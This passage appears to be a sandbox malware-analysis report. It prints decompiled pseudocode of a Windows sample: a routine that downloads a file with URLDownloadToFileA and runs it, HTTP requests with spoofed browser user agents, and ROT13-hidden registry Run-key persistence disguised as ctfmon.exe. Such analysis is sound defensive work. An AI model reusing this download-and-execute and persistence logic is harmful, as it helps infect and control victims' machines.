				_v1072 =  *((intOrPtr*)(_t49 + 0xc));
				_v1068 =  *((intOrPtr*)(_t49 + 0x10));
				_v1148 = _t51;
				_v1152 =  *((intOrPtr*)(_t65 + _t40 * 4 - 0x468));
				_v1156 = _t63;
				_v1160 = "GET %s HTTP/1.1\r\nConnection: Keep-Alive\r\nUser-Agent: %s\r\nHost: %s\r\nAccept: */*\r\n";
				_t50 =  &_v1052;
				 *_t66 = _t50;
				L0040C298();
				asm("cld");
				asm("repne scasb");
				 *((short*)(0xffffffff + _t50)) = 0xa0d;
				 *((char*)(0xbadbac +  &(_t50[2]))) = 0;
				_t64 = _t50;
				while(1) {
					_v1160 = _v1076;
					 *_t66 = _v1084;
					_t45 = E00405434(_v1084, _t50);
					_t50 = _t45;
					if(_t45 == 0xffffffff) {
						break;
					}
					asm("cld");
					asm("repne scasb");
					_v1152 = 0;
					_v1156 = 0xbadbac;
					_v1160 = _t64;
					 *_t66 = _t50;
					L004086B0();
					_t67 = _t66 - 0x10;
					 *_t67 = _t50;
					L004086C0();
					_t68 = _t67 - 4;
					 *_t68 = _v1068;
					L0040C308();
					_t66 = _t68 - 4;
				}
				return 0;
			}

0x00406a54
0x00406a57
0x00406a61
0x00406a6b
0x00406a75
0x00406a7f
0x00406a89
0x00406a93
0x00406a9d
0x00406aa7
0x00406ab1
0x00406ab8
0x00406abd
0x00406abf
0x00406ac5
0x00406ac8
0x00406ad1
0x00406ada
0x00406ae3
0x00406ae9
0x00406af4
0x00406af8
0x00406afc
0x00406b04
0x00406b0a
0x00406b0d
0x00406b14
0x00406b1c
0x00406b21
0x00406b27
0x00406b2c
0x00406b2e
0x00406b34
0x00406b3e
0x00406b41
0x00406b46
0x00406b4b
0x00000000
0x00000000
0x00406b4f
0x00406b57
0x00406b5c
0x00406b64
0x00406b68
0x00406b6c
0x00406b6f
0x00406b74
0x00406b77
0x00406b7a
0x00406b7f
0x00406b88
0x00406b8b
0x00406b90
0x00406b90
0x00406ba1

APIs

762DC740.USER32 ref: 00406B0D

Strings

Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1, xrefs: 00406A7F
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1), xrefs: 00406A89
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;), xrefs: 00406A93
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0), xrefs: 00406AA7
Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729), xrefs: 00406A6B
Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0), xrefs: 00406A9D
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon), xrefs: 00406A61
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322), xrefs: 00406A75
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1), xrefs: 00406A57
GET %s HTTP/1.1Connection: Keep-AliveUser-Agent: %sHost: %sAccept: */*, xrefs: 00406AFC

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: C740
String ID: GET %s HTTP/1.1Connection: Keep-AliveUser-Agent: %sHost: %sAccept: */*$Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)$Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon)$Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)$Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)$Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;)$Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)$Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)$Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729)$Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1
API String ID: 338827393-801071570
Opcode ID: eb25c094f4d93804a9a636893b6b75dca09158d388a842bccda55ca2649f5b44
Instruction ID: 5cdc0710ae53c098c5dd65590a42bc470b49e3f5e350015ac0ed1cf0fb49e237
Opcode Fuzzy Hash: eb25c094f4d93804a9a636893b6b75dca09158d388a842bccda55ca2649f5b44
Instruction Fuzzy Hash: D83141F49047148BCB20DF29C58428DBBF0EF85314F1085AEE558AB392D7789A95CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 00402120 Relevance: 11.4, Strings: 9, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00402120(intOrPtr _a4) {
				intOrPtr _v76;
				char _v82;
				short _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v104;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr _t60;
				signed int _t64;
				signed int _t67;
				signed int _t68;
				void* _t69;
				short* _t70;
				signed int _t71;
				intOrPtr _t72;
				void* _t73;
				void* _t74;
				intOrPtr* _t75;

				_t72 = _a4;
				_t69 =  &_v92;
				asm("cld");
				memset(_t69, 0, 3 << 2);
				_t75 = _t74 + 0xc;
				_t70 = _t69 + 3;
				 *_t70 = 0;
				 *((char*)(_t70 + 2)) = 0;
				_v92 = 0x6b6c7665;
				_v88 = 0x686f6472;
				_v84 = 0x706c;
				_v82 = 0;
				_t9 =  &_v92; // 0x6b6c7665
				_v104 = _t9;
				 *_t75 = 0x40e44a;
				E00404C6A();
				E00402106();
				_t64 =  *0x414008;
				_t71 = 0;
				do {
					_t67 = _t64 * 0xcccccccd >> 0x20 >> 3;
					 *((intOrPtr*)(_t73 + _t71 * 4 - 0x48)) = _t64 - _t67 + _t67 * 4 + _t67 + _t67 * 4;
					_t64 = _t67;
					_t71 = _t71 + 1;
				} while (_t71 <= 9);
				_t68 = 0;
				do {
					 *((char*)(_t68 + _t72)) =  *( *((intOrPtr*)(_t73 + _t68 * 4 - 0x48)) +  &_v92) & 0x000000ff;
					_t68 = _t68 + 1;
				} while (_t68 <= 9);
				 *((char*)(_t72 + 0xa)) = 0;
				if(_v76 != 0) {
					if(_v76 != 1) {
						if(_v76 != 2) {
							if(_v76 != 3) {
								if(_v76 != 4) {
									if(_v76 != 5) {
										if(_v76 != 6) {
											_t53 =  *0x40d07c; // 0x40e446
											_v104 = _t53;
											 *_t75 = _t72;
											L0040C208();
											return _t53;
										}
										_t54 =  *0x40d078; // 0x40e440
										_v104 = _t54;
										 *_t75 = _t72;
										L0040C208();
										return _t54;
									}
									_t55 =  *0x40d074; // 0x40e43c
									_v104 = _t55;
									 *_t75 = _t72;
									L0040C208();
									return _t55;
								}
								_t56 =  *0x40d070; // 0x40e437
								_v104 = _t56;
								 *_t75 = _t72;
								L0040C208();
								return _t56;
							}
							_t57 =  *0x40d06c; // 0x40e432
							_v104 = _t57;
							 *_t75 = _t72;
							L0040C208();
							return _t57;
						}
						_t58 =  *0x40d068; // 0x40e42e
						_v104 = _t58;
						 *_t75 = _t72;
						L0040C208();
						return _t58;
					}
					_t59 =  *0x40d064; // 0x40e429
					_v104 = _t59;
					 *_t75 = _t72;
					L0040C208();
					return _t59;
				}
				_t60 =  *0x40d060; // 0x40e424
				_v104 = _t60;
				 *_t75 = _t72;
				L0040C208();
				return _t60;
			}

Strings

F@, xrefs: 0040226F
)@, xrefs: 004021DC
$@, xrefs: 004021C0
<@, xrefs: 00402243
@@, xrefs: 0040225C
7@, xrefs: 0040222A
2@, xrefs: 00402211
evlkrdohlp, xrefs: 0040215D
.@, xrefs: 004021F8

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: $@$)@$.@$2@$7@$<@$@@$F@$evlkrdohlp
API String ID: 0-3435826350
Opcode ID: c12f48e13e570ad5b0255dc16d45f781d8719ac7601166f7755f4ed953bb1293
Instruction ID: 21a54818e9aca3eeccc7b18a3caaa5206cc12068587b62876ebf60fed946ae37
Opcode Fuzzy Hash: c12f48e13e570ad5b0255dc16d45f781d8719ac7601166f7755f4ed953bb1293
Instruction Fuzzy Hash: 7D411A70E04244DBCB509FA9D68565EBBF0AB45708F10457FE498AB3C1D3789986CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00406F1C Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E00406F1C(intOrPtr* _a4) {
				void* _v12;
				char _v44;
				char _v316;
				char _v317;
				char _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr _v348;
				char _v364;
				short _v396;
				intOrPtr _v400;
				char _v444;
				char* _v492;
				char _v500;
				char _v504;
				intOrPtr _v508;
				char _v512;
				char _v516;
				intOrPtr _v520;
				intOrPtr _v524;
				intOrPtr _v528;
				intOrPtr _v532;
				intOrPtr _v572;
				char _t53;
				char _t54;
				void* _t58;
				char* _t60;
				char _t63;
				char _t64;
				char* _t65;
				char _t66;
				char* _t67;
				char* _t68;
				intOrPtr* _t72;
				void* _t74;
				intOrPtr* _t76;
				void* _t78;
				void* _t80;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;

				_t72 = _a4;
				_v348 =  *_t72;
				_v344 =  *((intOrPtr*)(_t72 + 4));
				_v340 =  *((intOrPtr*)(_t72 + 8));
				_v336 =  *((intOrPtr*)(_t72 + 0xc));
				_t53 =  *((intOrPtr*)(_t72 + 0x10));
				_v332 = _t53;
				_v492 = "urlmon.dll";
				L0040C388();
				_t76 = _t74 - 0x1dc;
				_t63 = _t53;
				if(_t53 == 0) {
					L9:
					_t54 = 0;
					L10:
					return _t54;
				}
				_v492 = "URLDownloadToFileA";
				 *_t76 = _t53;
				L0040C450();
				_t78 = _t76 - 8;
				 *0x414120 = _t53;
				if(_t53 != 0) {
					_v500 = 0x104;
					_t64 =  &_v316;
					_v504 = _t64;
					L0040C3A0();
					_v512 = _t64;
					L0040C310();
					_t80 = _t78 - 4;
					if( *((char*)(_t53 +  &_v317)) != 0x5c) {
						_v512 = 0x412c21;
						_v516 = _t64;
						L0040C328();
						_t80 = _t80 - 8;
					}
					_t65 =  &_v44;
					E00404F82(_t65);
					asm("cld");
					asm("repne scasb");
					 *((intOrPtr*)(0xffffffff + _t65)) = 0x6578652e;
					 *((char*)(0xbadbac + _t65 + 4)) = 0;
					_v512 = _t65;
					_t66 =  &_v316;
					_v516 = _t66;
					L0040C208();
					_v500 = 0;
					_v504 = 0;
					_v508 = _t66;
					_v512 = _v348;
					_v516 = 0;
					_t58 =  *0x414120();
					_t81 = _t80 - 0x14;
					 *_t81 = _t66;
					if(E00401B7E(_t58) == 0x1841a191) {
						_t67 =  &_v444;
						_v528 = 0x44;
						_v532 = 0;
						 *_t81 = _t67;
						L0040C1F0();
						_v444 = 0x44;
						_v400 = 1;
						_v396 = 5;
						_t60 =  &_v364;
						_v500 = _t60;
						_v504 = _t67;
						_v508 = 0;
						_v512 = 0;
						_v516 = 0;
						_v520 = 1;
						_v524 = 0;
						_v528 = 0;
						_t68 =  &_v316;
						_v532 = _t68;
						 *_t81 = 0;
						L0040C420();
						_t82 = _t81 - 0x28;
						if(_t60 != 0) {
							_v572 = 0xffffffff;
							 *_t82 = _v364;
							L0040C428();
							_t83 = _t82 - 8;
							 *_t83 = _v364;
							L0040C2E8();
							 *((intOrPtr*)(_t83 - 4)) = _t68;
							L0040C460();
						}
						goto L9;
					} else {
						 *_t81 = _t66;
						L0040C460();
						_t54 = 0;
						goto L10;
					}
				}
				_v504 = _t63;
				L0040C458();
				_t54 = 0;
				goto L10;
			}

0x00406f27
0x00406f2c
0x00406f35
0x00406f3e
0x00406f47
0x00406f4d
0x00406f50
0x00406f56
0x00406f5d
0x00406f62
0x00406f65
0x00406f69
0x00407136
0x00407136
0x0040713b
0x00407141
0x00407141
0x00406f6f
0x00406f77
0x00406f7a
0x00406f7f
0x00406f82
0x00406f89
0x00406fa0
0x00406fa8
0x00406fae
0x00406fb1
0x00406fb9
0x00406fbc
0x00406fc1
0x00406fcc
0x00406fce
0x00406fd6
0x00406fd9
0x00406fde
0x00406fde
0x00406fe1
0x00406fe7
0x00406fee
0x00406ff6
0x00406ffb
0x00407002
0x00407007
0x0040700b
0x00407011
0x00407014
0x00407019
0x00407021
0x00407029
0x00407033
0x00407037
0x0040703e
0x00407044
0x00407047
0x00407054
0x0040706b
0x00407071
0x00407079
0x00407081
0x00407084
0x00407089
0x00407093
0x0040709d
0x004070a6
0x004070ac
0x004070b0
0x004070b4
0x004070bc
0x004070c4
0x004070cc
0x004070d4
0x004070dc
0x004070e4
0x004070ea
0x004070ee
0x004070f5
0x004070fa
0x004070ff
0x00407101
0x0040710f
0x00407112
0x00407117
0x00407120
0x00407123
0x0040712b
0x0040712e
0x00407133
0x00000000
0x00407056
0x00407056
0x00407059
0x00407061
0x00000000
0x00407061
0x00407054
0x00406f8b
0x00406f8e
0x00406f96
0x00000000

APIs

766857B0.KERNEL32 ref: 00406F5D
76684EE0.KERNEL32 ref: 00406F7A

Strings

D, xrefs: 00407089
URLDownloadToFileA, xrefs: 00406F6F
D, xrefs: 00407071
urlmon.dll, xrefs: 00406F56

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 76684766857
String ID: D$D$URLDownloadToFileA$urlmon.dll
API String ID: 2327732994-568779862
Opcode ID: fab9268c9de8d3bab7c4baaba29abbe1fa75f4fbb9d0755a78414db1af5e4ff4
Instruction ID: 6020ed59d1fb2f3a26d031d0468f3da87cf9bf9a4133c77db0aeb5110a75bae0
Opcode Fuzzy Hash: fab9268c9de8d3bab7c4baaba29abbe1fa75f4fbb9d0755a78414db1af5e4ff4
Instruction Fuzzy Hash: F451E0B0804744CBD750EF29D98579EBBF0BF44314F404A6EE8899B381D7789688CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00403C44 Relevance: 10.0, Strings: 8, Instructions: 49COMMON

Download Yara Rule

Strings

vqhfre, xrefs: 00403C6C
kcnfj, xrefs: 00403D00
Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba, xrefs: 00403C56
fgngrz, xrefs: 00403CC4
pafw, xrefs: 00403D08
hfonpgvi, xrefs: 00403CA0
usw, xrefs: 00403CF0
kgbee, xrefs: 00403CE8

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 7618
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba$fgngrz$hfonpgvi$kcnfj$kgbee$pafw$usw$vqhfre
API String ID: 2181118218-3350899573
Opcode ID: 20821bf80a5d0fb120ebbb6c98e12f04f003fe3813c75957cd0fdbf4133c044b
Instruction ID: 24438064d13505c8a311c85cdc15a701654085a82228e592a086f67cdc3d4551
Opcode Fuzzy Hash: 20821bf80a5d0fb120ebbb6c98e12f04f003fe3813c75957cd0fdbf4133c044b
Instruction Fuzzy Hash: 342193B4809704AAC710BF51C18516DFBF4BF85708F52C8BEE5C837282C7B959899B86

Uniqueness

Uniqueness Score: -1.00%

Function 00406E1C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 58COMMON

Download Yara Rule

APIs

766857B0.KERNEL32 ref: 00406E5C
76684EE0.KERNEL32 ref: 00406E79

Strings

URLDownloadToFileA, xrefs: 00406E6E
urlmon.dll, xrefs: 00406E55
donzx.dll, xrefs: 00406E9C

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 76684766857
String ID: URLDownloadToFileA$donzx.dll$urlmon.dll
API String ID: 2327732994-4102153241
Opcode ID: d2cece4bf220631d5255bb3a3bc421052235e9765dea7943dbc3daf99a82a526
Instruction ID: 543b2787c70849a237c7d5d5e8862ee058c6e2dedd7614c5b7d168295bf2944d
Opcode Fuzzy Hash: d2cece4bf220631d5255bb3a3bc421052235e9765dea7943dbc3daf99a82a526
Instruction Fuzzy Hash: 1C21FCB09043459BD700EF39D58579ABBF0BB48304F108A7EE98997341E778D998CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00405256 Relevance: 7.5, Strings: 6, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405256() {
				intOrPtr _v156;
				intOrPtr _v164;
				intOrPtr _v168;
				char _v172;
				char* _t18;
				intOrPtr* _t19;

				_v172 = 0x94;
				 *_t19 =  &_v172;
				L0040C3F8();
				if(_v168 != 4 || _v164 != 0) {
					if(_v168 != 5) {
						L10:
						if(_v168 != 6) {
							goto L14;
						}
						_t18 = "fVISta";
						if(_v164 != 0) {
							if(_v168 != 6) {
								goto L14;
							}
							_t18 = "fWinS";
							if(_v164 != 1) {
								goto L14;
							}
						}
					} else {
						_t18 = "f2000";
						if(_v164 != 0) {
							if(_v168 != 5) {
								goto L10;
							} else {
								_t18 = "fXp";
								if(_v164 != 1) {
									if(_v168 != 5) {
										goto L10;
									} else {
										_t18 = "f2003";
										if(_v164 != 2) {
											goto L10;
										}
									}
								}
							}
						}
					}
				} else {
					_t18 = "NT";
					if(_v156 != 2) {
						L14:
						return "Unk";
					}
				}
				return _t18;
			}

0x0040525f
0x0040526f
0x00405272
0x00405281
0x004052a3
0x004052e1
0x004052e8
0x00000000
0x00000000
0x004052ea
0x004052f6
0x004052ff
0x00000000
0x00000000
0x00405301
0x0040530d
0x00000000
0x00000000
0x0040530d
0x004052a5
0x004052a5
0x004052b1
0x004052ba
0x00000000
0x004052bc
0x004052bc
0x004052c8
0x004052d1
0x00000000
0x004052d3
0x004052d3
0x004052df
0x00000000
0x00000000
0x004052df
0x004052d1
0x004052c8
0x004052ba
0x004052b1
0x0040528c
0x0040528c
0x00405298
0x0040530f
0x00000000
0x0040530f
0x00405298
0x00405315

Strings

f2003, xrefs: 004052D3
Unk, xrefs: 0040530F
fXp, xrefs: 004052BC
fVISta, xrefs: 004052EA
fWinS, xrefs: 00405301
f2000, xrefs: 004052A5

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: Unk$f2000$f2003$fVISta$fWinS$fXp
API String ID: 0-2404033052
Opcode ID: 6bafecaaa7aee1d569267c96bf0f5a75bd16ea01fa60e304594bc5b44564bdeb
Instruction ID: e8bb7547553301c142e519b247f3baff17d1b23cd464d4725f64abea95698485
Opcode Fuzzy Hash: 6bafecaaa7aee1d569267c96bf0f5a75bd16ea01fa60e304594bc5b44564bdeb
Instruction Fuzzy Hash: DD118334A11718CACF34AA18891939B72B0EB93349F4441FBD88979690C3B98DC9CE1B

Uniqueness

Uniqueness Score: -1.00%

Function 00405DC4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 18%

			E00405DC4(signed int __edx) {
				void* _v12;
				char _v172;
				char _v204;
				char _v332;
				char _v364;
				signed int _v372;
				signed int _v376;
				intOrPtr _v380;
				signed int _v384;
				intOrPtr _v388;
				char* _v392;
				void* _v416;
				char* _v420;
				signed int _v424;
				void* __ebx;
				void* _t28;
				signed int _t33;
				void* _t36;
				char* _t39;
				char* _t40;
				signed int _t41;
				signed int _t42;
				signed int _t46;
				void* _t47;
				intOrPtr* _t48;
				void* _t49;
				signed int* _t50;
				void* _t52;
				signed int _t53;

				_t48 = _t47 - 0x180;
				_v392 = "pgszra.rkr";
				_t39 =  &_v204;
				 *_t48 = _t39;
				_t28 = E00404C38();
				_v388 = _t39;
				_v392 = 0x96;
				_t40 =  &_v172;
				 *_t48 = _t40;
				E00404620(_t28);
				_v392 = "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Eha";
				 *_t48 =  &_v332;
				E00404C38();
				_v392 = "pgszra.rkr";
				 *_t48 =  &_v364;
				_t33 = E00404C38();
				_v372 = 0;
				_v376 = 0x80;
				_v380 = 2;
				_v384 = 0;
				_v388 = 3;
				_v392 = 0x40000000;
				 *_t48 = _t40;
				L0040C2D0();
				_t49 = _t48 - 0x1c;
				_t41 = _t33;
				_t52 = _t33 - 0xffffffff;
				_t53 = _t33;
				_t45 = __edx & 0xffffff00 | _t52 == 0x00000000 | _t33 & 0xffffff00 | _t53 == 0x00000000;
				if((__edx & 0xffffff00 | _t52 == 0x00000000 | _t33 & 0xffffff00 | _t53 == 0x00000000) != 0) {
					_v424 = 0;
					L0040C2A8();
				}
				E00405C6C(0x4115e0, 0x1040, _t41);
				_v424 = _t41;
				L0040C2E8();
				_t50 = _t49 - 4;
				_t46 =  &_v172;
				 *_t50 = _t46;
				_t36 = E004054F2(_t45);
				_v420 = "user32.dll";
				_v424 = 0x80;
				_t42 =  &_v332;
				 *_t50 = _t42;
				E00404620(_t36);
				_v424 = _t46;
				 *_t50 = _t42;
				return E0040435C(_t42, _t45);
			}

0x00405dc9
0x00405dcf
0x00405dd7
0x00405ddd
0x00405de0
0x00405de5
0x00405de9
0x00405df1
0x00405df7
0x00405dfa
0x00405dff
0x00405e0d
0x00405e10
0x00405e15
0x00405e23
0x00405e26
0x00405e2b
0x00405e33
0x00405e3b
0x00405e43
0x00405e4b
0x00405e53
0x00405e5b
0x00405e5e
0x00405e63
0x00405e66
0x00405e68
0x00405e6e
0x00405e73
0x00405e75
0x00405e77
0x00405e7e
0x00405e7e
0x00405e96
0x00405e9b
0x00405e9e
0x00405ea3
0x00405ea6
0x00405eac
0x00405eaf
0x00405eb4
0x00405ebc
0x00405ec4
0x00405eca
0x00405ecd
0x00405ed2
0x00405ed6
0x00405ee4

APIs

76683A10.KERNEL32 ref: 00405E7E

Strings

user32.dll, xrefs: 00405EB4
Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha, xrefs: 00405DFF
pgszra.rkr, xrefs: 00405DCF, 00405E15

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 76683
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha$pgszra.rkr$user32.dll
API String ID: 2294968377-2563098034
Opcode ID: 74071c8a4e3613b750008268494174c79e934ec9dc8cd3874d7da89e717f8aea
Instruction ID: 8ce02ae271826c0af2d77be6dc83fb0dca404b62b159729ddab96385648218ed
Opcode Fuzzy Hash: 74071c8a4e3613b750008268494174c79e934ec9dc8cd3874d7da89e717f8aea
Instruction Fuzzy Hash: F3212AB08097049AD710BF21C58538EBBF4AF84358F41897EE9C867281D7BD858C8F96

Uniqueness

Uniqueness Score: -1.00%

Function 00405850 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00405850(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v284;
				char _v285;
				char _v348;
				char _v380;
				char _v636;
				char _v640;
				signed char _v644;
				int _v648;
				char* _v668;
				intOrPtr _v672;
				int _v676;
				intOrPtr _v680;
				void* _v684;
				char _v688;
				int _v692;
				int _v696;
				char* _v700;
				void* _v736;
				intOrPtr _v744;
				char _v748;
				intOrPtr _v752;
				char* _t64;
				intOrPtr _t67;
				signed int _t68;
				signed char _t71;
				char _t73;
				char _t74;
				signed int _t77;
				void* _t81;
				char* _t82;
				char _t84;
				intOrPtr _t86;
				void* _t88;
				void* _t89;
				intOrPtr* _t90;
				intOrPtr* _t91;
				intOrPtr* _t92;
				void* _t93;
				intOrPtr* _t94;
				intOrPtr* _t96;

				_v16 = __ebx;
				_v12 = __esi;
				_v8 = __edi;
				_t86 = _a4;
				_v644 = 0x100;
				E00404C38( &_v348, "Fbsgjner\\Xnmnn\\Genafsre");
				E00404C38( &_v380, "QyQve0");
				_t81 =  &_v284;
				_t71 = _v644;
				asm("cld");
				_t77 = _t71 >> 2;
				memset(_t81, 0, _t77 << 2);
				_t89 = _t88 + 0xc;
				_t82 = _t81 + _t77;
				if((_t71 & 0x00000002) != 0) {
					 *_t82 = 0;
					_t82 = _t82 + 2;
				}
				if((_t71 & 0x00000001) != 0) {
					 *_t82 = 0;
				}
				_v668 =  &_v640;
				_v672 = 1;
				_v676 = 0;
				_t64 =  &_v348;
